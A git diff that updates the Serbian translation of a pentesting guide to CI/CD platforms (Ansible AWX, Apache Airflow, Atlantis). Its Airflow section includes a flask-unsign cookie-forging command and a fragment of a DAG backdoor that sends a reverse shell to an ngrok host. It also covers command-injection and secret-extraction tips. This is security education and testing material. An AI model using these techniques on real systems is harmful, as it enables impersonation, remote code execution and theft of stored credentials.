diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 6ce25cb73..47f098f41 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -2,61 +2,61 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Osnovne informacije
-**Ansible Tower** ili njegova open-source verzija [**AWX**](https://github.com/ansible/awx) poznata je kao **korisnički interfejs, kontrolna tabla i REST API Ansible-a**. Sa **kontrolom pristupa zasnovanom na rolama**, rasporedom poslova i grafičkim upravljanjem inventarom, možete upravljati svojom Ansible infrastrukturom iz modernog UI-a. REST API i komandna linija Tower-a olakšavaju integraciju sa trenutnim alatima i radnim tokovima.
+**Ansible Tower** ili njegova open-source verzija [**AWX**](https://github.com/ansible/awx) poznata je kao **korisnički interfejs, kontrolna tabla i REST API** za Ansible. Sa **kontrolom pristupa zasnovanom na rolama**, zakazivanjem poslova i grafičkim upravljanjem inventarom, možete upravljati svojom Ansible infrastrukturom iz modernog UI-a. Tower-ov REST API i komandna linija olakšavaju integraciju sa trenutnim alatima i radnim tokovima.
**Automation Controller je novija** verzija Ansible Tower-a sa više mogućnosti.
-### Differences
+### Razlike
Prema [**ovome**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), glavne razlike između Ansible Tower-a i AWX-a su podrška koja se dobija, a Ansible Tower ima dodatne funkcije kao što su kontrola pristupa zasnovana na rolama, podrška za prilagođene API-je i korisnički definisani radni tokovi.
-### Tech Stack
+### Tehnološki stack
-- **Web Interface**: Ovo je grafički interfejs gde korisnici mogu upravljati inventarima, akreditivima, šablonima i poslovima. Dizajniran je da bude intuitivan i pruža vizualizacije koje pomažu u razumevanju stanja i rezultata vaših automatizovanih poslova.
-- **REST API**: Sve što možete uraditi u web interfejsu, možete uraditi i putem REST API-ja. To znači da možete integrisati AWX/Tower sa drugim sistemima ili skriptovati radnje koje biste obično izvodili u interfejsu.
-- **Database**: AWX/Tower koristi bazu podataka (obično PostgreSQL) za čuvanje svoje konfiguracije, rezultata poslova i drugih neophodnih operativnih podataka.
+- **Web interfejs**: Ovo je grafički interfejs gde korisnici mogu upravljati inventarima, akreditivima, šablonima i poslovima. Dizajniran je da bude intuitivan i pruža vizualizacije koje pomažu u razumevanju stanja i rezultata vaših automatizovanih poslova.
+- **REST API**: Sve što možete da uradite u web interfejsu, možete uraditi i putem REST API-ja. To znači da možete integrisati AWX/Tower sa drugim sistemima ili skriptovati radnje koje biste obično izvodili u interfejsu.
+- **Baza podataka**: AWX/Tower koristi bazu podataka (obično PostgreSQL) za čuvanje svoje konfiguracije, rezultata poslova i drugih neophodnih operativnih podataka.
- **RabbitMQ**: Ovo je sistem za razmenu poruka koji koristi AWX/Tower za komunikaciju između različitih komponenti, posebno između web servisa i izvršitelja zadataka.
- **Redis**: Redis služi kao keš i pozadinski sistem za red zadataka.
-### Logical Components
+### Logičke komponente
-- **Inventories**: Inventar je **kolekcija hostova (ili čvorova)** protiv kojih se mogu **izvršavati poslovi** (Ansible playbook-ovi). AWX/Tower vam omogućava da definišete i grupišete svoje inventare i takođe podržava dinamične inventare koji mogu **pribaviti liste hostova iz drugih sistema** kao što su AWS, Azure, itd.
-- **Projects**: Projekat je u suštini **kolekcija Ansible playbook-ova** preuzetih iz **sistema za kontrolu verzija** (kao što je Git) kako bi se povukli najnoviji playbook-ovi kada je to potrebno.
-- **Templates**: Šabloni poslova definišu **kako će se određeni playbook izvršiti**, specificirajući **inventar**, **akreditive** i druge **parametre** za posao.
-- **Credentials**: AWX/Tower pruža siguran način za **upravljanje i čuvanje tajni, kao što su SSH ključevi, lozinke i API tokeni**. Ovi akreditivi mogu biti povezani sa šablonima poslova kako bi playbook-ovi imali neophodan pristup kada se izvršavaju.
+- **Inventari**: Inventar je **kolekcija hostova (ili čvorova)** protiv kojih se mogu **izvršavati poslovi** (Ansible playbook-ovi). AWX/Tower vam omogućava da definišete i grupišete svoje inventare i takođe podržava dinamičke inventare koji mogu **pribaviti liste hostova iz drugih sistema** kao što su AWS, Azure, itd.
+- **Projekti**: Projekat je u suštini **kolekcija Ansible playbook-ova** preuzetih iz **sistema za kontrolu verzija** (kao što je Git) kako bi se povukli najnoviji playbook-ovi kada je to potrebno.
+- **Šabloni**: Šabloni poslova definišu **kako će se određeni playbook izvršiti**, specificirajući **inventar**, **akreditive** i druge **parametre** za posao.
+- **Akreditivi**: AWX/Tower pruža siguran način za **upravljanje i čuvanje tajni, kao što su SSH ključevi, lozinke i API tokeni**. Ovi akreditivi mogu biti povezani sa šablonima poslova kako bi playbook-ovi imali neophodan pristup kada se izvrše.
- **Task Engine**: Ovo je mesto gde se dešava magija. Task engine je izgrađen na Ansible-u i odgovoran je za **izvršavanje playbook-ova**. Poslovi se šalju task engine-u, koji zatim izvršava Ansible playbook-ove protiv određenog inventara koristeći specificirane akreditive.
-- **Schedulers and Callbacks**: Ovo su napredne funkcije u AWX/Tower koje omogućavaju **raspoređivanje poslova** da se izvršavaju u određenim vremenima ili da budu pokrenuti spoljnim događajima.
-- **Notifications**: AWX/Tower može slati obaveštenja na osnovu uspeha ili neuspeha poslova. Podržava različite načine obaveštavanja kao što su e-mailovi, Slack poruke, webhook-ovi, itd.
-- **Ansible Playbooks**: Ansible playbook-ovi su alati za konfiguraciju, implementaciju i orkestraciju. Oni opisuju željeno stanje sistema na automatizovan, ponovljiv način. Napisani u YAML-u, playbook-ovi koriste Ansible-ov deklarativni jezik automatizacije za opisivanje konfiguracija, zadataka i koraka koji treba da se izvrše.
+- **Zakazivači i povratni pozivi**: Ovo su napredne funkcije u AWX/Tower-u koje omogućavaju **zakazivanje poslova** da se izvrše u određenim vremenima ili da budu pokrenuti spoljnim događajima.
+- **Obaveštenja**: AWX/Tower može slati obaveštenja na osnovu uspeha ili neuspeha poslova. Podržava različite načine obaveštavanja kao što su e-mailovi, Slack poruke, webhook-ovi, itd.
+- **Ansible Playbook-ovi**: Ansible playbook-ovi su alati za konfiguraciju, implementaciju i orkestraciju. Oni opisuju željeno stanje sistema na automatizovan, ponovljiv način. Napisani u YAML-u, playbook-ovi koriste Ansible-ov deklarativni jezik automatizacije za opisivanje konfiguracija, zadataka i koraka koji treba da se izvrše.
-### Job Execution Flow
+### Tok izvršenja poslova
-1. **User Interaction**: Korisnik može interagovati sa AWX/Tower ili putem **Web Interface** ili **REST API**. Ovi pružaju front-end pristup svim funkcionalnostima koje nudi AWX/Tower.
-2. **Job Initiation**:
-- Korisnik, putem Web Interface-a ili API-ja, pokreće posao na osnovu **Job Template**.
-- Job Template uključuje reference na **Inventory**, **Project** (koji sadrži playbook) i **Credentials**.
-- Po pokretanju posla, zahtev se šalje AWX/Tower pozadini da se posao stavi u red za izvršenje.
-3. **Job Queuing**:
-- **RabbitMQ** upravlja razmenom poruka između web komponente i izvršitelja zadataka. Kada se posao pokrene, poruka se šalje task engine-u koristeći RabbitMQ.
+1. **Interakcija korisnika**: Korisnik može interagovati sa AWX/Tower-om ili putem **Web interfejsa** ili **REST API-ja**. Ovi pružaju front-end pristup svim funkcionalnostima koje nudi AWX/Tower.
+2. **Inicijacija posla**:
+- Korisnik, putem Web interfejsa ili API-ja, inicira posao na osnovu **Šablona posla**.
+- Šablon posla uključuje reference na **Inventar**, **Projekat** (koji sadrži playbook) i **Akreditive**.
+- Nakon inicijacije posla, zahtev se šalje AWX/Tower pozadini da se posao stavi u red za izvršenje.
+3. **Redosled poslova**:
+- **RabbitMQ** upravlja razmenom poruka između web komponente i izvršitelja zadataka. Kada se posao inicira, poruka se šalje task engine-u koristeći RabbitMQ.
- **Redis** deluje kao pozadinski sistem za red zadataka, upravljajući redom poslova koji čekaju na izvršenje.
-4. **Job Execution**:
-- **Task Engine** preuzima posao iz reda. Preuzima potrebne informacije iz **Database** o povezanom playbook-u, inventaru i akreditivima.
-- Koristeći preuzeti Ansible playbook iz povezanog **Project**, Task Engine izvršava playbook protiv specificiranih **Inventory** čvorova koristeći date **Credentials**.
-- Dok se playbook izvršava, njegov izlaz (logovi, činjenice, itd.) se beleži i čuva u **Database**.
-5. **Job Results**:
-- Kada se playbook završi, rezultati (uspeh, neuspeh, logovi) se čuvaju u **Database**.
-- Korisnici mogu pregledati rezultate putem Web Interface-a ili ih pretraživati putem REST API-ja.
-- Na osnovu ishoda posla, **Notifications** se mogu slati kako bi obavestili korisnike ili spoljne sisteme o statusu posla. Obaveštenja mogu biti e-mailovi, Slack poruke, webhook-ovi, itd.
-6. **External Systems Integration**:
-- **Inventories** se mogu dinamički preuzimati iz spoljnog sistema, omogućavajući AWX/Tower da povuče hostove iz izvora kao što su AWS, Azure, VMware i drugi.
-- **Projects** (playbook-ovi) mogu se preuzeti iz sistema za kontrolu verzija, osiguravajući korišćenje ažuriranih playbook-ova tokom izvršenja posla.
-- **Schedulers and Callbacks** mogu se koristiti za integraciju sa drugim sistemima ili alatima, omogućavajući AWX/Tower da reaguje na spoljne okidače ili izvršava poslove u unapred određenim vremenima.
+4. **Izvršenje posla**:
+- **Task Engine** preuzima posao iz reda. On pribavlja neophodne informacije iz **Baze podataka** o povezanom playbook-u, inventaru i akreditivima.
+- Koristeći preuzeti Ansible playbook iz povezanog **Projekta**, Task Engine izvršava playbook protiv specificiranih **Inventar** čvorova koristeći pružene **Akreditive**.
+- Dok se playbook izvršava, njegov izlaz (logovi, činjenice, itd.) se beleži i čuva u **Bazi podataka**.
+5. **Rezultati posla**:
+- Kada se playbook završi, rezultati (uspeh, neuspeh, logovi) se čuvaju u **Bazi podataka**.
+- Korisnici mogu pregledati rezultate putem Web interfejsa ili ih upititi putem REST API-ja.
+- Na osnovu ishoda posla, **Obaveštenja** se mogu slati kako bi obavestila korisnike ili spoljne sisteme o statusu posla. Obaveštenja mogu biti e-mailovi, Slack poruke, webhook-ovi, itd.
+6. **Integracija sa spoljnim sistemima**:
+- **Inventari** se mogu dinamički pribavljati iz spoljnih sistema, omogućavajući AWX/Tower-u da povuče hostove iz izvora kao što su AWS, Azure, VMware i drugi.
+- **Projekti** (playbook-ovi) mogu se preuzeti iz sistema za kontrolu verzija, osiguravajući korišćenje ažuriranih playbook-ova tokom izvršenja posla.
+- **Zakazivači i povratni pozivi** mogu se koristiti za integraciju sa drugim sistemima ili alatima, omogućavajući AWX/Tower-u da reaguje na spoljne okidače ili izvršava poslove u unapred određenim vremenima.
-### AWX lab creation for testing
+### Kreiranje AWX laboratorije za testiranje
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) moguće je koristiti docker-compose za pokretanje AWX:
+[**Prateći dokumentaciju**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) moguće je koristiti docker-compose za pokretanje AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -84,53 +84,53 @@ docker exec tools_awx_1 awx-manage create_preload_data
```
## RBAC
-### Supported roles
+### Podržane uloge
-Najprivilegovanija uloga se zove **System Administrator**. Svako ko ima ovu ulogu može **modifikovati bilo šta**.
+Najprivilegovanija uloga se zove **Sistem Administrator**. Svako ko ima ovu ulogu može **modifikovati bilo šta**.
-Iz **white box security** pregleda, potrebna vam je **System Auditor role**, koja omogućava **pregled svih podataka sistema** ali ne može da pravi nikakve promene. Druga opcija bi bila da dobijete **Organization Auditor role**, ali bi bilo bolje da dobijete onu prvu.
+Iz **white box security** pregleda, potrebna vam je **Sistem Auditor uloga**, koja omogućava **pregled svih podataka sistema** ali ne može da pravi nikakve promene. Druga opcija bi bila da dobijete **Organizacija Auditor ulogu**, ali bi bilo bolje da dobijete onu prvu.
-Expand this to get detailed description of available roles
+Proširite ovo da dobijete detaljan opis dostupnih uloga
-1. **System Administrator**:
+1. **Sistem Administrator**:
- Ovo je superuser uloga sa dozvolama za pristup i modifikaciju bilo kog resursa u sistemu.
- Mogu upravljati svim organizacijama, timovima, projektima, inventarima, šablonima poslova, itd.
-2. **System Auditor**:
+2. **Sistem Auditor**:
- Korisnici sa ovom ulogom mogu da vide sve podatke sistema, ali ne mogu da prave nikakve promene.
- Ova uloga je dizajnirana za usklađenost i nadzor.
-3. **Organization Roles**:
+3. **Uloge Organizacije**:
- **Admin**: Potpuna kontrola nad resursima organizacije.
- **Auditor**: Pristup samo za pregled resursa organizacije.
-- **Member**: Osnovno članstvo u organizaciji bez specifičnih dozvola.
-- **Execute**: Može pokretati šablone poslova unutar organizacije.
-- **Read**: Može pregledati resurse organizacije.
-4. **Project Roles**:
+- **Član**: Osnovno članstvo u organizaciji bez specifičnih dozvola.
+- **Izvrši**: Može pokretati šablone poslova unutar organizacije.
+- **Čitaj**: Može pregledati resurse organizacije.
+4. **Uloge Projekta**:
- **Admin**: Može upravljati i modifikovati projekat.
-- **Use**: Može koristiti projekat u šablonu posla.
-- **Update**: Može ažurirati projekat koristeći SCM (source control).
-5. **Inventory Roles**:
+- **Koristi**: Može koristiti projekat u šablonu posla.
+- **Ažuriraj**: Može ažurirati projekat koristeći SCM (kontrola verzija).
+5. **Uloge Inventara**:
- **Admin**: Može upravljati i modifikovati inventar.
- **Ad Hoc**: Može pokretati ad hoc komande na inventaru.
-- **Update**: Može ažurirati izvor inventara.
-- **Use**: Može koristiti inventar u šablonu posla.
-- **Read**: Pristup samo za pregled.
-6. **Job Template Roles**:
+- **Ažuriraj**: Može ažurirati izvor inventara.
+- **Koristi**: Može koristiti inventar u šablonu posla.
+- **Čitaj**: Pristup samo za pregled.
+6. **Uloge Šablona Posla**:
- **Admin**: Može upravljati i modifikovati šablon posla.
-- **Execute**: Može pokrenuti posao.
-- **Read**: Pristup samo za pregled.
-7. **Credential Roles**:
+- **Izvrši**: Može pokrenuti posao.
+- **Čitaj**: Pristup samo za pregled.
+7. **Uloge Akreditiva**:
- **Admin**: Može upravljati i modifikovati akreditive.
-- **Use**: Može koristiti akreditive u šablonima poslova ili drugim relevantnim resursima.
-- **Read**: Pristup samo za pregled.
-8. **Team Roles**:
-- **Member**: Deo tima, ali bez specifičnih dozvola.
+- **Koristi**: Može koristiti akreditive u šablonima poslova ili drugim relevantnim resursima.
+- **Čitaj**: Pristup samo za pregled.
+8. **Uloge Tima**:
+- **Član**: Deo tima, ali bez specifičnih dozvola.
- **Admin**: Može upravljati članovima tima i povezanim resursima.
-9. **Workflow Roles**:
-- **Admin**: Može upravljati i modifikovati tok rada.
-- **Execute**: Može pokrenuti tok rada.
-- **Read**: Pristup samo za pregled.
+9. **Uloge Radnog Tok**:
+- **Admin**: Može upravljati i modifikovati radni tok.
+- **Izvrši**: Može pokrenuti radni tok.
+- **Čitaj**: Pristup samo za pregled.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index 4dbf3f480..663c1ef9a 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -26,7 +26,7 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
-### Airflow Configuration
+### Konfiguracija Airflow-a
Airflow može čuvati **osetljive informacije** u svojoj konfiguraciji ili možete pronaći slabe konfiguracije:
@@ -36,48 +36,48 @@ airflow-configuration.md
### Airflow RBAC
-Pre nego što počnete sa napadom na Airflow, trebali biste razumeti **kako funkcionišu dozvole**:
+Pre nego što počnete sa napadima na Airflow, trebali biste razumeti **kako funkcionišu dozvole**:
{{#ref}}
airflow-rbac.md
{{#endref}}
-### Attacks
+### Napadi
-#### Web Console Enumeration
+#### Enumeracija Web Konzole
Ako imate **pristup web konzoli**, možda ćete moći da pristupite nekim ili svim sledećim informacijama:
-- **Varijable** (Prilagođene osetljive informacije mogu biti sačuvane ovde)
-- **Konekcije** (Prilagođene osetljive informacije mogu biti sačuvane ovde)
+- **Promenljive** (Prilagođene osjetljive informacije mogu biti pohranjene ovde)
+- **Konekcije** (Prilagođene osjetljive informacije mogu biti pohranjene ovde)
- Pristupite im na `http:///connection/list/`
-- [**Konfiguracija**](./#airflow-configuration) (Osetljive informacije kao što su **`secret_key`** i lozinke mogu biti sačuvane ovde)
+- [**Konfiguracija**](./#airflow-configuration) (Osetljive informacije kao što su **`secret_key`** i lozinke mogu biti pohranjene ovde)
- Lista **korisnika i uloga**
- **Kod svakog DAG-a** (koji može sadržati zanimljive informacije)
-#### Retrieve Variables Values
+#### Preuzimanje vrednosti promenljivih
-Varijable se mogu čuvati u Airflow-u tako da **DAG-ovi** mogu **pristupiti** njihovim vrednostima. Slično je tajnama drugih platformi. Ako imate **dovoljno dozvola**, možete im pristupiti u GUI-u na `http:///variable/list/`.\
-Airflow po defaultu prikazuje vrednost varijable u GUI-u, međutim, prema [**ovome**](https://marclamberti.com/blog/variables-with-apache-airflow/), moguće je postaviti **listu varijabli** čija će **vrednost** biti prikazana kao **zvezdice** u **GUI**.
+Promenljive se mogu čuvati u Airflow-u tako da **DAG-ovi** mogu **pristupiti** njihovim vrednostima. Slično je tajnama drugih platformi. Ako imate **dovoljno dozvola**, možete im pristupiti u GUI-u na `http:///variable/list/`.\
+Airflow po defaultu prikazuje vrednost promenljive u GUI-u, međutim, prema [**ovome**](https://marclamberti.com/blog/variables-with-apache-airflow/), moguće je postaviti **listu promenljivih** čija će se **vrednost** prikazivati kao **zvezdice** u **GUI-u**.
.png>)
-Međutim, ove **vrednosti** se i dalje mogu **pribaviti** putem **CLI** (morate imati pristup bazi podataka), **izvršavanjem proizvoljnog DAG-a**, **API** pristupom krajnjoj tački varijabli (API mora biti aktiviran), i **čak i samim GUI-em!**\
-Da biste pristupili tim vrednostima iz GUI-a, jednostavno **izaberite varijable** kojima želite da pristupite i **kliknite na Akcije -> Izvezi**.\
+Međutim, ove **vrednosti** se i dalje mogu **preuzeti** putem **CLI** (morate imati pristup bazi podataka), **izvršavanjem proizvoljnog DAG-a**, **API** pristupom tački promenljivih (API mora biti aktiviran), i **čak i samim GUI-em!**\
+Da biste pristupili tim vrednostima iz GUI-a, jednostavno **izaberite promenljive** kojima želite da pristupite i **kliknite na Akcije -> Izvezi**.\
Drugi način je da izvršite **bruteforce** na **skrivenoj vrednosti** koristeći **filtriranje pretrage** dok je ne dobijete:
.png>)
-#### Privilege Escalation
+#### Eskalacija privilegija
-Ako je konfiguracija **`expose_config`** postavljena na **True**, iz **uloge Korisnik** i **naviše** mogu **čitati** **konfiguraciju na web-u**. U ovoj konfiguraciji se pojavljuje **`secret_key`**, što znači da svaki korisnik sa ovim važećim može **napraviti svoj potpisani kolačić da bi se pretvarao da je bilo koji drugi korisnički nalog**.
+Ako je konfiguracija **`expose_config`** postavljena na **True**, iz **uloge Korisnik** i **više** mogu **čitati** **konfiguraciju na web-u**. U ovoj konfiguraciji se pojavljuje **`secret_key`**, što znači da svaki korisnik sa ovim važećim može **napraviti svoj potpisani kolačić da bi se pretvarao da je bilo koji drugi korisnički nalog**.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE u Airflow radniku)
-Ako imate **pristup za pisanje** na mestu gde se **DAG-ovi čuvaju**, možete jednostavno **napraviti jedan** koji će vam poslati **obrnuti shell.**\
-Imajte na umu da će ovaj obrnuti shell biti izvršen unutar **airflow radničkog kontejnera:**
+Ako imate **pristup za pisanje** na mestu gde su **DAG-ovi sačuvani**, možete jednostavno **napraviti jedan** koji će vam poslati **reverse shell.**\
+Imajte na umu da će ovaj reverse shell biti izvršen unutar **airflow radničkog kontejnera:**
```python
import pendulum
from airflow import DAG
@@ -146,20 +146,20 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
Ako uspete da **kompromitujete mašinu unutar DAG klastera**, možete kreirati nove **DAG skripte** u `dags/` folderu i one će biti **replicirane na ostalim mašinama** unutar DAG klastera.
-#### Injekcija koda u DAG
+#### Ubrizgavanje koda u DAG
Kada izvršavate DAG iz GUI-a, možete **proslediti argumente**.\
-Stoga, ako DAG nije pravilno kodiran, mogao bi biti **ranjiv na Injekciju Komandi.**\
+Stoga, ako DAG nije pravilno kodiran, mogao bi biti **ranjiv na Command Injection.**\
To se desilo u ovom CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-Sve što treba da znate da **počnete da tražite injekcije komandi u DAG-ovima** je da se **parametri** **pristupaju** kodom **`dag_run.conf.get("param_name")`**.
+Sve što treba da znate da **počnete da tražite command injections u DAG-ovima** je da se **parametri** **pristupaju** sa kodom **`dag_run.conf.get("param_name")`**.
-Štaviše, ista ranjivost može se javiti sa **varijablama** (imajte na umu da sa dovoljno privilegija možete **kontrolisati vrednost varijabli** u GUI-u). Varijable se **pristupaju sa**:
+Štaviše, ista ranjivost može se javiti i sa **varijablama** (imajte na umu da sa dovoljno privilegija možete **kontrolisati vrednost varijabli** u GUI-u). Varijable se **pristupaju sa**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-Ако се користе, на пример, унутар bash команде, могли бисте извршити инјекцију команде.
+Ako se koriste, na primer, unutar bash komande, mogli biste izvršiti injekciju komande.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 5441fce97..e73b4b1f4 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -1,33 +1,33 @@
-# Airflow Configuration
+# Konfiguracija Airflow-a
{{#include ../../banners/hacktricks-training.md}}
-## Configuration File
+## Konfiguracioni Fajl
**Apache Airflow** generiše **config fajl** na svim airflow mašinama pod nazivom **`airflow.cfg`** u home direktorijumu korisnika airflow. Ovaj config fajl sadrži informacije o konfiguraciji i **može sadržati zanimljive i osetljive informacije.**
**Postoje dva načina da se pristupi ovom fajlu: kompromitovanjem neke airflow mašine ili pristupanjem web konzoli.**
-Napomena da **vrednosti unutar config fajla** **možda nisu one koje se koriste**, jer ih možete prepisati postavljanjem env varijabli kao što su `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+Imajte na umu da **vrednosti unutar config fajla** **možda nisu one koje se koriste**, jer ih možete prepisati postavljanjem env varijabli kao što su `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Ako imate pristup **config fajlu na web serveru**, možete proveriti **pravu aktivnu konfiguraciju** na istoj stranici na kojoj se prikazuje konfiguracija.\
Ako imate **pristup nekoj mašini unutar airflow okruženja**, proverite **okruženje**.
-Neke zanimljive vrednosti za proveru prilikom čitanja config fajla:
+Neke zanimljive vrednosti koje treba proveriti prilikom čitanja config fajla:
### \[api]
- **`access_control_allow_headers`**: Ovo označava **dozvoljene** **zaglavlja** za **CORS**
- **`access_control_allow_methods`**: Ovo označava **dozvoljene metode** za **CORS**
- **`access_control_allow_origins`**: Ovo označava **dozvoljene izvore** za **CORS**
-- **`auth_backend`**: [**Prema dokumentaciji**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) nekoliko opcija može biti na snazi za konfiguraciju ko može pristupiti API-ju:
+- **`auth_backend`**: [**Prema dokumentaciji**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) nekoliko opcija može biti postavljeno za konfiguraciju ko može pristupiti API-ju:
- `airflow.api.auth.backend.deny_all`: **Podrazumevano niko** ne može pristupiti API-ju
- `airflow.api.auth.backend.default`: **Svi mogu** pristupiti bez autentifikacije
- `airflow.api.auth.backend.kerberos_auth`: Za konfiguraciju **kerberos autentifikacije**
-- `airflow.api.auth.backend.basic_auth`: Za **basic autentifikaciju**
+- `airflow.api.auth.backend.basic_auth`: Za **osnovnu autentifikaciju**
- `airflow.composer.api.backend.composer_auth`: Koristi autentifikaciju kompozitora (GCP) (iz [**ovde**](https://cloud.google.com/composer/docs/access-airflow-api)).
-- `composer_auth_user_registration_role`: Ovo označava **ulogu** koju će **korisnik kompozitora** dobiti unutar **airflow** (**Op** podrazumevano).
-- Takođe možete **napraviti svoju metodu autentifikacije** pomoću Pythona.
+- `composer_auth_user_registration_role`: Ovo označava **ulogu** koju će **korisnik kompozitora** dobiti unutar **airflow-a** (**Op** podrazumevano).
+- Takođe možete **napraviti svoju vlastitu autentifikaciju** metodom u python-u.
- **`google_key_path`:** Putanja do **GCP servisnog naloga**
### **\[atlas]**
@@ -45,9 +45,9 @@ Neke zanimljive vrednosti za proveru prilikom čitanja config fajla:
### \[core]
-- **`dag_discovery_safe_mode`**: Omogućeno podrazumevano. Kada se otkrivaju DAG-ovi, ignorišu se svi fajlovi koji ne sadrže stringove `DAG` i `airflow`.
+- **`dag_discovery_safe_mode`**: Omogućeno podrazumevano. Prilikom otkrivanja DAG-ova, ignorišite sve fajlove koji ne sadrže stringove `DAG` i `airflow`.
- **`fernet_key`**: Ključ za čuvanje enkriptovanih varijabli (simetričan)
-- **`hide_sensitive_var_conn_fields`**: Omogućeno podrazumevano, skriva osetljive informacije o konekcijama.
+- **`hide_sensitive_var_conn_fields`**: Omogućeno podrazumevano, sakrijte osetljive informacije o konekcijama.
- **`security`**: Koji sigurnosni modul koristiti (na primer kerberos)
### \[dask]
@@ -78,17 +78,17 @@ Neke zanimljive vrednosti za proveru prilikom čitanja config fajla:
### \[webserver]
- **`cookie_samesite`**: Podrazumevano je **Lax**, tako da je već najslabija moguća vrednost
-- **`cookie_secure`**: Postavi **sigurnu oznaku** na sesijskom kolačiću
-- **`expose_config`**: Podrazumevano je False, ako je true, **config** može biti **pročitan** iz web **konzole**
+- **`cookie_secure`**: Postavite **sigurnu oznaku** na sesijskom kolačiću
+- **`expose_config`**: Podrazumevano je False, ako je tačno, **config** se može **pročitati** iz web **konzole**
- **`expose_stacktrace`**: Podrazumevano je True, prikazaće **python tracebacks** (potencijalno korisno za napadača)
- **`secret_key`**: Ovo je **ključ koji koristi flask za potpisivanje kolačića** (ako imate ovo možete **imitirati bilo kog korisnika u Airflow-u**)
- **`web_server_ssl_cert`**: **Putanja** do **SSL** **certifikata**
- **`web_server_ssl_key`**: **Putanja** do **SSL** **ključa**
- **`x_frame_enabled`**: Podrazumevano je **True**, tako da podrazumevano clickjacking nije moguć
-### Web Authentication
+### Web Autentifikacija
-Podrazumevano **web autentifikacija** je specificirana u fajlu **`webserver_config.py`** i konfiguriše se kao
+Podrazumevano je **web autentifikacija** specificirana u fajlu **`webserver_config.py`** i konfiguriše se kao
```bash
AUTH_TYPE = AUTH_DB
```
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index ccd2f874d..93ce55d71 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -8,13 +8,13 @@
- **`Admin`** korisnici imaju sve moguće dozvole.
- **`Public`** korisnici (anonimni) nemaju nikakve dozvole.
-- **`Viewer`** korisnici imaju ograničene dozvole za pregled (samo čitanje). **Ne može videti konfiguraciju.**
+- **`Viewer`** korisnici imaju ograničene dozvole za gledanje (samo čitanje). **Ne može videti konfiguraciju.**
- **`User`** korisnici imaju `Viewer` dozvole plus dodatne korisničke dozvole koje mu omogućavaju da malo upravlja DAG-ovima. On **može videti konfiguracioni fajl.**
- **`Op`** korisnici imaju `User` dozvole plus dodatne op dozvole.
Napomena: **admin** korisnici mogu **kreirati više uloga** sa više **granularnih dozvola**.
-Takođe, napomena da je jedina podrazumevana uloga sa **dozvolom da lista korisnike i uloge Admin, čak ni Op** to neće moći da uradi.
+Takođe, napomena da je jedina podrazumevana uloga sa **dozvolom da lista korisnike i uloge Admin, čak ni Op** to ne može da uradi.
### Default Permissions
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index 4392e90bc..cf6afa2df 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -4,15 +4,15 @@
### Basic Information
-Atlantis u suštini pomaže da pokrenete terraform iz Pull Requests sa vašeg git servera.
+Atlantis u suštini pomaže vam da pokrenete terraform iz Pull Requests sa vašeg git servera.
.png>)
### Local Lab
-1. Idite na **atlantis releases page** na [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **preuzmite** onaj koji vam odgovara.
+1. Idite na **atlantis releases page** u [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **preuzmite** onaj koji vam odgovara.
2. Kreirajte **lični token** (sa pristupom repozitorijumu) vašeg **github** korisnika.
-3. Izvršite `./atlantis testdrive` i to će kreirati **demo repo** koji možete koristiti da **komunicirate sa atlantisom**.
+3. Izvršite `./atlantis testdrive` i to će kreirati **demo repo** koji možete koristiti da **komunicirate sa atlantis**.
1. Možete pristupiti web stranici na 127.0.0.1:4141.
### Atlantis Access
@@ -20,22 +20,22 @@ Atlantis u suštini pomaže da pokrenete terraform iz Pull Requests sa vašeg gi
#### Git Server Credentials
**Atlantis** podržava nekoliko git hostova kao što su **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\
-Međutim, da bi se pristupilo repozitorijumima na tim platformama i izvršavale akcije, potrebno je da se dodeli neki **privilegovan pristup** (barem prava za pisanje).\
